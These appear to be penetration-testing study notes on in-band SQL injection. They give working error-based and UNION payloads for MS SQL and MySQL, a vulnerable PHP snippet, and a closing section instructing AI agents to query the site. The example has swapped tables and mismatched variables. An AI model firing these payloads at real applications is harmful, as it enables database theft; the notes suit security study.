# 5.3 In-Band SQLi

## Error-Based SQL Injection

Error-based SQL injections are an advanced technique to extract data from a database by triggering errors that reveal information within the error messages. This method is particularly fast and effective and is supported by various database management systems (DBMS) such as Oracle, PostgreSQL, and MS SQL Server.

### **MS SQL Server Error-based Exploitation**

**MS SQL Server Version Extraction:** To begin, it's crucial to identify the version of the MS SQL Server, as different versions may have different default column names in the master database. The `CAST` technique is employed to trigger a type conversion error, which reveals the database version. For example:

```sql
9999999 or 1 in (SELECT TOP 1 CAST(@@version as varchar(4096))); --
```

This payload, when injected into the vulnerable parameter, will cause an error message that includes the database version.

**Enumerating Databases:** After identifying the version, the next step is to enumerate the databases accessible to the current user. This is done using the `db_name()` function within a loop:

```sql
9999999 or 1 in (SELECT TOP 1 CAST (db_name(1) as varchar(4096))); --
```

Incrementing the argument of `db_name()` allows iterating through the available databases.

**Enumerating Database Tables:** Once databases are enumerated, the next step is to find the tables in a particular database:

```sql
9999999 or 1 in (SELECT TOP 1 CAST(name as varchar(4096)) FROM <database_name>..sysobjects WHERE xtype='U' and name NOT IN ('')); --
```

Here, the `xtype='U'` condition ensures that only user-defined tables are considered.

**Enumerating Columns:** After identifying tables, the columns within those tables need to be enumerated:

```sql
9999 or 1 in (SELECT TOP 1 CAST (<db_name>..syscolumns.name as varchar(4096)) FROM <db_name>..syscolumns,<db_name>..sysobjects WHERE <db_name>..syscolumns.id=<db_name>..sysobjects.id AND  <db_name>..sysobjects.name=<table_name> AND <db_name>..syscolumns.name NOT IN ('')); --
```

This query retrieves the column names for a specific table in the specified database.

**Dumping Data:** Finally, with knowledge of the database structure, data can be dumped using a similar technique:

```sql
9999999 or 1 in (SELECT TOP 1 CAST(<column_name> as varchar(4096)) FROM <database_name>..<table_name> WHERE <column_name> NOT IN ('')); -- -
```

This query retrieves the actual content of the specified column in the specified table.

### **MySQL Error-Based SQLi Exploitation**

To exploit error-based SQL injection on MySQL, the `GROUP BY` statement is utilized. An example payload skeleton is as follows:

```sql
SELECT 1,2 UNION SELECT COUNT(*), CONCAT(<information_to_extract>, floor(rand(0)*2)) AS x FROM information_schema.tables GROUP BY x;
```

For example, to extract the database version:

```sql
SELECT COUNT(*), CONCAT(version(), floor(rand(0)*2)) AS x FROM information_schema.tables GROUP BY x;
```

## Union-Based SQL Injection

In-band SQL injection, often known as UNION-based SQL injection, empowers the extraction of data from the database through the utilization of the UNION SQL command. This type of attack allows a penetration tester to retrieve database content, including the database name, table schemas, and actual data.

As illustrated in the initial chapter of this module, the UNION statement merges the result sets of two or more SELECT statements. For instance:

```sql
SELECT <field list> FROM <table> UNION SELECT <field list> FROM <another table>;
```

### Example of Scenario

Consider a scenario where the database contains two tables: `CreditCards` and `Users`. For example:

```plaintext
CreditCards
|id(int)|username(string)|password(string)|real_name(string)|
|-------|----------------|----------------|-----------------|
| 1     | admin          | strongpass123  | Armando Romeo   |
| 2     | fred           | wowstrongpass123| Fred Flintstone|

Users
|user_id(int)|Cc_num(int)          |CVS(int)|
|------------|---------------------|--------|
| 1          | 0000 1111 2222 3333 | 123    |
| 2          | 0123 4567 8901 2345 | 321    |
```

The web application employs the following code to display usernames:

```php
<?php
$rs = mysql_query("SELECT real_name FROM users WHERE id=" . $_GET['id'] . ";");
$row = mysql_fetch_assoc($rc);

echo $row['real_name'];
?>
```

Here, there is a clear SQL injection point in the `id` field of the SQL query.

To exploit the SQL injection vulnerability and retrieve the credit card associated with a username, the payload is:

```sql
9999 UNION ALL SELECT cc_num FROM CreditCards WHERE user_id=1
```

This payload transforms the web application query into:

```sql
SELECT real_name FROM users WHERE id=9999 UNION ALL SELECT cc_num FROM CreditCards WHERE user_id=1;
```

Since there are no users with `id=9999`, the web application displays the `cc_num` of the first user.

## In-band Attack Challenges

Several considerations arise in this in-band attack:

* The field types of the second SELECT statement should match those in the first statement.
* The number of fields in the second SELECT statement should match the number of fields in the first statement.
* To succeed in the attack, knowledge of the database structure in terms of tables and column names is essential.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://dev-angelist.gitbook.io/ewptv2-notes/readme/system-security-2/5.3-in-band-sqli.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.